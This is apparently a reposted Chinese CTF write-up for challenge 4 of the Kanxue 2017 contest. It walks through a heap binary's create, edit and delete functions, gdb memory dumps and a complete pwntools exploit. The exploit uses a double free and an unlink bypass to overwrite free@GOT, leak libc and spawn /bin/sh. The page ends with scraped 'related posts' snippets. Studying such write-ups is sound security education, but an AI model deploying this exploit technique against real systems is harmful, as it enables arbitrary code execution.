1. 程式人生 > >由看雪.Wifi萬能鑰匙 CTF 2017 第4題分析linux double free及unlinking漏洞

由看雪.Wifi萬能鑰匙 CTF 2017 第4題分析linux double free及unlinking漏洞

我是在ubuntu16 64位除錯的 現在unlink函式加了個判斷需要繞過:
即必須保證FD->bk = P 並且 BK->fd = P` 為了繞過這個驗證,需要找到一個地址x,使*x=p, 釋放chunk前,檢查FD->bk=BK->fd=P, P為當前需要free的chunk指標,BK的前一個chunk的指標,FD為後一個chunk的指標。如果有一個堆指標可控,並在一個chunk的資料段內,再如果有個可控的地址是指向P的,記為*X=P。那麼我們就在此chunk上構造兩個chunk,第一個chunk在pre_size的標誌位P設為1,大小到P結束,第二個chunk的
pre_size的標誌位P設為0,針對64位系統,第一個chunk的fd設為(X-0x18),bk設為(X-0x10),即P->fd=(X-0x18),P->bk=(X-0x10),又因為*X=P,所以(X-0x18)->bk=P,(X-0x10)->fd=P,通過unlink的檢查,按照unlink的巨集程式碼,unlink過程中X的內容前後被寫為(X-0x10)、(X-0x18),最終X的內容被我們改寫。 記住以上知識點。 先分析一下create、edit、delete這三個函式。 利用IDA分析一下create函式
int create()
{
  int result; // [email protected]
char buf; // [sp+0h] [bp-90h]@5 void *dest; // [sp+80h] [bp-10h]@4 int index; // [sp+88h] [bp-8h]@3 size_t nbytes; // [sp+8Ch] [bp-4h]@2 result = dword_6020AC; if ( dword_6020AC <= 4 ) { puts("Input size"); result = read_int(); LODWORD(nbytes) = result; if ( result <= 4096 ) { puts("Input cun"); result = read_int(); index = result; if ( result <= 4 ) { dest = malloc((signed int)nbytes); puts("Input content"); if ( (signed int)nbytes > 112 ) { read(0, dest, (unsigned int)nbytes); } else { read(0, &buf, (unsigned int)nbytes); memcpy(dest, &buf, (signed int)nbytes); } *(_DWORD *)(qword_6020C0 + 4LL * index) = nbytes; *((_QWORD *)&unk_6020E0 + 2 * index) = dest; dword_6020E8[4 * index] = 1; ++dword_6020AC; result = fflush(stdout); } } } return result; }

可以看到當建立heap的時候,會將malloc的返回值儲存到0x6020e0為起始地址的位置,如果分配了就將1寫入到6020E8位起始地址的位置(也就是flag值),如下所示:
gdb-peda$ x/50gx 0x6020c0 
0x6020c0:	0x0000000001e8c010	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000001e8c060	0x0000000000000001
0x6020f0:       0x0000000001e8c1a0	0x0000000000000001
0x602100:	0x0000000001e8c090	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000

堆的大小儲存在以0x1e8c010為起始地址處。
gdb-peda$ x/wx 0x6020c0 
0x6020c0:	0x01e8c010
gdb-peda$ x/wx 0x1e8c010 
0x1e8c010:	0x00000020
gdb-peda$ x/10wx 0x1e8c010 
0x1e8c010:	0x00000020	0x00000100	0x00000100	0x00000000
0x1e8c020:	0x00000000	0x00000000	0x00000031	0x00000000
0x1e8c030:	0x69646570	0x00000079

__int64 delete()
{
  __int64 result; // [email protected]
  int v1; // [sp+Ch] [bp-4h]@1

  puts("Chose one to dele");
  result = read_int();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (signed int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(dword_6020AC-- - 1);
  }
  return result;
}


在進行刪除操作時,直接從0x6020e0+index*0x10處獲取堆指標,然後使用free函式刪除堆,然後將0x6020e8+index*0x10處設定為0(將flag置1).
int edit()
{
  int result; // [email protected]
  int index; // [sp+Ch] [bp-4h]@1

  puts("Chose one to edit");
  result = read_int();
  index = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * index), *(_DWORD *)(4LL * index + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}


在進行edit操作時,首先根據index從0x6020e8+0x10*index處獲取以前儲存的flag值,如果flag=0說明已經free了,如果flag=1說明已經分配,可以編輯,然後獲取0x6020e0+index*0x10處的指標,然後將使用者輸入的資料寫入該指標對應的地址處。大小符合poi(0x6020c0)+index*0x10處儲存的大小。 這三個函式已經分析完了 我先把exp貼出來一點點分析:
#!/usr/bin/env python
from pwn import *
import sys
             
context.arch = 'amd64'
if len(sys.argv) < 2:
    p = process('./4-ReeHY-main')
    #context.log_level = 'debug'   
else:   
    p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')

def welcome():
    p.recvuntil('name: \n$')
    p.send('pediy')

def create(index,size,content):
    p.recvuntil('*********\n$')
    p.send('1')
    p.recvuntil('Input size\n')
    p.send(str(size))
    p.recvuntil('Input cun\n')
    p.send(str(index))
    p.recvuntil('Input content\n')
    p.send(content) 
   
def delete(index):
    p.recvuntil('*********\n$')
    p.send('2')
    p.recvuntil('Chose one to dele\n')
    p.send(str(index))

def edit(index,content):
    p.recvuntil('*********\n$')
    p.send('3')
    p.recvuntil('to edit\n')
    p.send(str(index))
    p.recvuntil('the content\n')
    p.send(content)

def exp():    
    #system_off = 0x46590
    #puts_off = 0x6fd60
    #binsh_off = 0x180103
    #pop_ret_addr = 0x400DA3
    
    #system_off = 0x41fd0
    #puts_off = 0x6cee0
    system_off = 0x45390
    puts_off = 0x6f690
    got_addr = 0x602018    #[email protected]
    p_addr = 0x602100
    puts_plt = 0x4006d0 
     
    welcome()
    create(0,0x20,'/bin/sh\x00')
 
    log.info('gen point to control...')
    pause()
    create(2,0x100,'BBBB')
    create(1,0x100,'CCCC')
    delete(2)
    delete(1)
    payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
    create(2,0x210,payload)
    delete(1)
     
    log.info('leaking address...')
    edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))
    edit(1,p64(puts_plt))
    delete(2)
    puts_addr = p.recv(6)
    log.info('puts address:'+hex(u64(puts_addr+'\x00'*2)))
 
    system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
    log.info('system address:'+hex(system_addr))
 
    log.info('get shell!!!')
    edit(1,p64(system_addr))
    delete(0)   
    p.interactive()
if __name__ == '__main__':
    exp()

我們的目的就是改寫got段,比如將[email protected]的地址改寫為[email protected]或者[email protected]這樣,當呼叫free函式的時候,就可以執行system函式或者put函數了。 怎麼改寫got段呢 ,在unlink的時候,有一處覆寫可以利用,然後在地址0x6020e0開始處儲存了堆的指標,如果該出可以被改寫,那便在以後edit函式呼叫了,就可以改寫指標對應地址的資料了。 下邊詳細分析一下吧。
create(0,0x20,'/bin/sh\x00')
    create(2,0x100,'BBBB')
    create(1,0x100,'CCCC')

建立三個堆,index分別為0,2,1,大小分別是0x20,0x100,0x100,此時記憶體佈局是這樣的:
gdb-peda$ x/10gx 0x6020e0
0x6020e0:	0x0000000001e8c060	0x0000000000000001
0x6020f0:	0x0000000001e8c1a0	0x0000000000000001
0x602100:	0x0000000001e8c090	0x0000000000000001

gdb-peda$ x/100gx 0x1e8c060
0x1e8c060:	0x0068732f6e69622f	0x00007ffea2378a50
0x1e8c070:	0x000000000000000a	0xffffffffffffffff
0x1e8c080:	0x0000000000000000	0x0000000000000111
0x1e8c090:	0x0000000042424242	0x0000000000000000
0x1e8c0a0:	0x0000000000000000	0x0000000000000000
0x1e8c0b0:	0x0000000000000000	0x0000000000000000
0x1e8c0c0:	0x0000000000000000	0x0000000000000000
0x1e8c0d0:	0x0000000000000000	0x0000000000000000
0x1e8c0e0:	0x0000000000000000	0x0000000000000000
0x1e8c0f0:	0x0000000000000000	0x0000000000000000
0x1e8c100:	0x0000000000000000	0x0000000000000000
0x1e8c110:	0x0000000000000000	0x0000000000000000
0x1e8c120:	0x0000000000000000	0x0000000000000000
0x1e8c130:	0x0000000000000000	0x0000000000000000
0x1e8c140:	0x0000000000000000	0x0000000000000000
0x1e8c150:	0x0000000000000000	0x0000000000000000
0x1e8c160:	0x0000000000000000	0x0000000000000000
0x1e8c170:	0x0000000000000000	0x0000000000000000
0x1e8c180:	0x0000000000000000	0x0000000000000000
0x1e8c190:	0x0000000000000000	0x0000000000000111
0x1e8c1a0:	0x0000000043434343	0x0000000000000000
0x1e8c1b0:	0x0000000000000000	0x0000000000000000
0x1e8c1c0:	0x0000000000000000	0x0000000000000000
0x1e8c1d0:	0x0000000000000000	0x0000000000000000
0x1e8c1e0:	0x0000000000000000	0x0000000000000000
0x1e8c1f0:	0x0000000000000000	0x0000000000000000
0x1e8c200:	0x0000000000000000	0x0000000000000000
0x1e8c210:	0x0000000000000000	0x0000000000000000
0x1e8c220:	0x0000000000000000	0x0000000000000000


然後是: delete(2) delete(1) 將這兩個堆釋放掉,記憶體佈局是這樣的:
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010:	0x0000010000000020	0x0000000000000100
0x1e8c020:	0x0000000000000000	0x0000000000000031
0x1e8c030:	0x0000007969646570	0x0000000000000000
0x1e8c040:	0x0000000000000000	0x0000000000000000
0x1e8c050:	0x0000000000000000	0x0000000000000031
gdb-peda$ x/10gx 0x6020e0
0x6020e0:	0x0000000001e8c060	0x0000000000000001
0x6020f0:	0x0000000001e8c1a0	0x0000000000000000
0x602100:	0x0000000001e8c090	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000

gdb-peda$ x/100gx 0x1e8c060
0x1e8c060:	0x0068732f6e69622f	0x00007ffea2378a50
0x1e8c070:	0x000000000000000a	0xffffffffffffffff
0x1e8c080:	0x0000000000000000	0x0000000000020f81
0x1e8c090:	0x00007ff81a1cab78	0x00007ff81a1cab78
0x1e8c0a0:	0x0000000000000000	0x0000000000000000
0x1e8c0b0:	0x0000000000000000	0x0000000000000000
0x1e8c0c0:	0x0000000000000000	0x0000000000000000
0x1e8c0d0:	0x0000000000000000	0x0000000000000000
0x1e8c0e0:	0x0000000000000000	0x0000000000000000
0x1e8c0f0:	0x0000000000000000	0x0000000000000000
0x1e8c100:	0x0000000000000000	0x0000000000000000
0x1e8c110:	0x0000000000000000	0x0000000000000000
0x1e8c120:	0x0000000000000000	0x0000000000000000
0x1e8c130:	0x0000000000000000	0x0000000000000000
0x1e8c140:	0x0000000000000000	0x0000000000000000
0x1e8c150:	0x0000000000000000	0x0000000000000000
0x1e8c160:	0x0000000000000000	0x0000000000000000
0x1e8c170:	0x0000000000000000	0x0000000000000000
0x1e8c180:	0x0000000000000000	0x0000000000000000
0x1e8c190:	0x0000000000000110	0x0000000000000110
0x1e8c1a0:	0x0000000043434343	0x0000000000000000
0x1e8c1b0:	0x0000000000000000	0x0000000000000000


然後再建立一個index為2的堆,大小為0x210,並寫入一下資料:
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
    create(2,0x210,payload)


gdb-peda$ x/10gx 0x6020e0
0x6020e0:	0x0000000001e8c060	0x0000000000000001
0x6020f0:	0x0000000001e8c1a0	0x0000000000000000
0x602100:	0x0000000001e8c090	0x0000000000000001
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010:	0x0000010000000020	0x0000000000000210
0x1e8c020:	0x0000000000000000	0x0000000000000031
0x1e8c030:	0x0000007969646570	0x0000000000000000
0x1e8c040:	0x0000000000000000	0x0000000000000000
0x1e8c050:	0x0000000000000000	0x0000000000000031
gdb-peda$ x/50gx 0x1e8c060
0x1e8c060:	0x0068732f6e69622f	0x00007ffea2378a50
0x1e8c070:	0x000000000000000a	0xffffffffffffffff
0x1e8c080:	0x0000000000000000	0x0000000000000221
0x1e8c090:	0x0000000000000000	0x0000000000000101
0x1e8c0a0:	0x00000000006020e8	0x00000000006020f0
0x1e8c0b0:	0x4141414141414141	0x4141414141414141
0x1e8c0c0:	0x4141414141414141	0x4141414141414141
0x1e8c0d0:	0x4141414141414141	0x4141414141414141
0x1e8c0e0:	0x4141414141414141	0x4141414141414141
0x1e8c0f0:	0x4141414141414141	0x4141414141414141
0x1e8c100:	0x4141414141414141	0x4141414141414141
0x1e8c110:	0x4141414141414141	0x4141414141414141
0x1e8c120:	0x4141414141414141	0x4141414141414141
0x1e8c130:	0x4141414141414141	0x4141414141414141
0x1e8c140:	0x4141414141414141	0x4141414141414141
0x1e8c150:	0x4141414141414141	0x4141414141414141
0x1e8c160:	0x4141414141414141	0x4141414141414141
0x1e8c170:	0x4141414141414141	0x4141414141414141
0x1e8c180:	0x4141414141414141	0x4141414141414141
0x1e8c190:	0x0000000000000100	0x0000000000000110
0x1e8c1a0:	0x0000000043434343	0x0000000000000000
0x1e8c1b0:	0x0000000000000000	0x0000000000000000
0x1e8c1c0:	0x0000000000000000	0x0000000000000000
0x1e8c1d0:	0x0000000000000000	0x0000000000000000


可見此處建立的index為2的堆正好將之前建立的index為1,2的堆覆蓋掉,因為0x100+0x10(第二個堆的堆首)+0x100=0x210, 此處建立的堆地址儲存在地址0x602100處。 delete(1) 這條就非常重要了,會發生許多莫名奇妙的事了,因為前邊已經delete(1)過了,這樣就會造成double free,通過前邊的create已經將index為1的堆的堆首改為0x0000000000000100 0x0000000000000110。 這樣當free index為1的堆時,就會通過該堆的prev_inuse判斷前一個堆是否處於allocate狀態,很明顯,prev_index=0,所以就會認為index=2的堆處於free狀態,這樣就會發生unlink操作,具體就是將index=2的堆的bk+0x10處的資料改寫為fd,也就是將0x00000000006020f0+0x10=0x0000000000602100處的資料改寫為0x00000000006020e8 而0x0000000000602100處正好儲存的是index=2的堆的指標 這樣當下次編輯index=2的堆時,其實就是編輯地址0x00000000006020e8的資料了,而該地址的附近正好儲存著index=1的指標,如果將index=1的指標修改為[email protected]的地址,那再編輯index=1的堆時,就可以將free的地址修改為其他地址,比如system或者put等 這樣當再次呼叫free函式時,其實就是執行system函式或者put函數了。 delete(1)後:
gdb-peda$ x/10gx 0x6020e0
0x6020e0:	0x0000000001e8c060	0x0000000000000001
0x6020f0:	0x0000000001e8c1a0	0x0000000000000000
0x602100:	0x00000000006020e8	0x0000000000000001
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000

可以看到成功將index=2的指標修改為了0x00000000006020e8 edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1)) 其實就是修改0x6020e8處的資料。 got_addr對應的是[email protected],這樣就將index=1的堆指標修改為了[email protected]的地址 got_addr+8對應的是[email protected] edit(1,p64(puts_plt)) 將[email protected]地址修改為puts_plt的地址。 delete(2),本來是呼叫free(),現在變成了呼叫puts([email protected])這樣就得到了puts函式的記憶體低址。 通過偏移就計算出system的函式地址了: system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off log.info('system address:'+hex(system_addr)) edit(1,p64(system_addr)) 將[email protected]替換為system函式地址。 delete(0) 在呼叫free的時候相當於呼叫了system函式,而且index=0的堆正好儲存了/bin/sh字串,所以獲得了一個shell。
參考:

相關推薦

.Wifi萬能鑰匙 CTF 2017 4分析linux double freeunlinking漏洞

我是在ubuntu16 64位除錯的 現在unlink函式加了個判斷需要繞過: 即必須保證FD->bk = P 並且 BK->fd = P` 為了繞過這個驗證,需要找到一個地址x,使*x=p, 釋放chunk前,檢查FD->bk=BK->f

wifi萬能鑰匙CTF年中賽 writeup(2)

上一篇題解是學習的poyoten的姿勢,這個呢,是學習到了loudy大神的姿勢 首先呢:要把sys_rva和put_rva以及free_rva換成本地libc的偏移值,姿勢如圖 按照第一篇的方法,給程式碼加上gdb斷點 gdb.attach(p, 'b *0x4

.Wifi萬能鑰匙 2017CTF年中賽---第一

考察浮點數運算 1、OD載入,搜尋字串,查詢到錯誤或正確提示資訊,雙擊點進去。 找到以為的關鍵跳轉,下斷點,重新載入,輸入註冊碼,執行,竟然提示錯誤! 不死心的將關鍵跳轉NOP掉,儲存到檔案,執行, 結果依然報錯!果然爆破不行呀……那就老老實實檢視演算法吧。 2、在該段開始位置下斷點

CTF 2017 設計思路和解題思路

這道題主要需要花時間搞清楚套路,就迎刃而解了。^_^ 1.java層稍作字串加密和類名方法名混淆處理(本來是打算java層也做點文章的@[email protected]) 解題:通過閱讀程式碼,可以知道check函式為關鍵函式,當返回為

CTF 2016_分析

protect follow text cef 數據 crack update ase 時也 結合前輩們的分析,自己再作一個分析,算是當做學習筆記吧! OD 下GetDlgItemTextA 這個斷點 0040148C |. 83F8 1E cmp eax

CTF 2016_分析

一個 div git 範圍 代碼 進行 長度 每一個 語言 這個題是一道窮舉題,考察的應該是編程能力吧! 本題算法不是很難,也是挺好分析的。 這個程序可以下 GetDlgItem 這個api可以定位到關鍵地方。 00401183 > /8A54

萬能鑰匙ctf--4-ReeHY-main除錯記錄--unlink

    查詢題目保護開啟,發現只開了NX,未開啟RELRO和PIE,思路可以從修改got表展開。     ida裝載分析程式執行流程,main函式發現是一個常規的選單類題目,推測為堆相關題目。     Malloc函式。分配最大不超過

WiFi 萬能鑰匙”盜 9 億使用者資料,如何看待運營平臺濫用隱私的問題?

點選上方“CSDN”,選擇“置頂公眾號”關鍵時刻,第一時間送達!相信很多朋友都用過 WiFi 萬

高級軟件工程20174次作業——團隊項目:選題、進度安排與需求規格說明書

www. 一周 .html 註意事項 .cn 內容 div 支持 abc Deadline:2017-10-16(周一)21:00pm (註:以下內容參考福大作業,北航作業 ) 一、團隊組成和選題情況說明(10分) 介紹團隊組成,錄一段視頻或者發一張團隊合影,提

CTF【每日一20160618】挖掘規則裡面的漏洞

繼續黑客遊戲第四關,逆向解密 下載後開啟看到一個“空白”的pdf文件。由於對pdf加解密相當無知,所以百度一下,有人這樣回答: “有幾種可能性: 一、文件本來就是空白。 很多垃圾網站或軟體,通過

CTF

else tar ops ini 指令 text 技術分享 __init__ str vm_context 00000000 vm_context struc ; (sizeof=0x70, mappedto_32) 00000000 r0

oppo(不root)手機檢視萬能鑰匙破解的wifi密碼例項

                       (一)寫在前面的話萬能鑰匙密碼檢視器在應用市場上有很多,但是他們都有一個共同的基本要求:需要提供root許可權。這一要求讓很多oppo手機使用者望而止步了。 但是作為一個程式設計師怎麼就可以這樣放棄呢?  (二)獲取密碼檔案遇到的問題通過了解,市場上的wifi密碼

2017年必的免費linux視頻python視頻資源合集

python視頻 linux 軟件版本 網易 linux視頻 2017年必看的linux直播課程與linux在線課程匯總 騰訊課堂:Linux課程:系列直播課程:【免費】零基礎Linux入門系統課程1(持續更新)https://ke.qq.com/course/202854【免費】零基礎l

【HITB GSEC CTF 2017】1000levels

image 運算 位置 步驟 pri 循環 imp 隨機化 .html https://files.cnblogs.com/files/p4nda/498a3f10-8976-4733-8bdb-30d6f9d9fdad.gz #通過閱讀天樞戰隊大佬們的wp調試的結

.TSRC 2017CTF秋季賽

truct item set 報錯 spring 現在 logs 封裝 檢測方法 看雪.TSRC 2017CTF秋季賽第三題 wp 這是一道很簡單的題,反調試的坑略多。這道題采用了很多常用的反調試手段,比如調用IsDebuggerPresent、進程名檢查等等。另外也有利用

python爬取論壇的所有主題帖的回覆訊息

最近因為實驗課題的需要,我們對看雪論壇的訊息回覆進行爬取, https://bbs.pediy.com/(看雪論壇) 對於看雪論壇的訊息回覆檢視的一般順序為: 進入看雪論壇的主頁-----> 選擇檢視的主題-----> 選擇想要檢視的話題--------> 檢視該話

FPC--reverse

很長時間沒有在這裡記錄Writeup了,這次這道題目實在太讓我興奮了。有感而記。 拖進IDA; 驚奇的發現,除了scanf之外,只需要兩個函式就執行到了"Bad....."; 依次檢視兩個驗證函式; 1.sub_401080  會發現  a1與v2是恆等

2018安全開發者峰會,議題乾貨、安全大咖、頭腦風暴!

01 看雪2018安全開發者峰會2018年7月21日,擁有18年悠久歷史的老牌安全技術社群——看

程式設計師式浪漫:Python 帶你啦!

暖爐溫酒配羊湯——今年冬至,你看雪了嗎? 作者 | Ahab 責編 | 仲培藝 前段時間筆者寫了一篇題為《用 Python 來一場人工造雪》的文章,但大家似乎都不滿足僅僅是一個圖片的雪花,都想來一場動態的人工降雪。於是便有了下面的內容: 動態視訊連結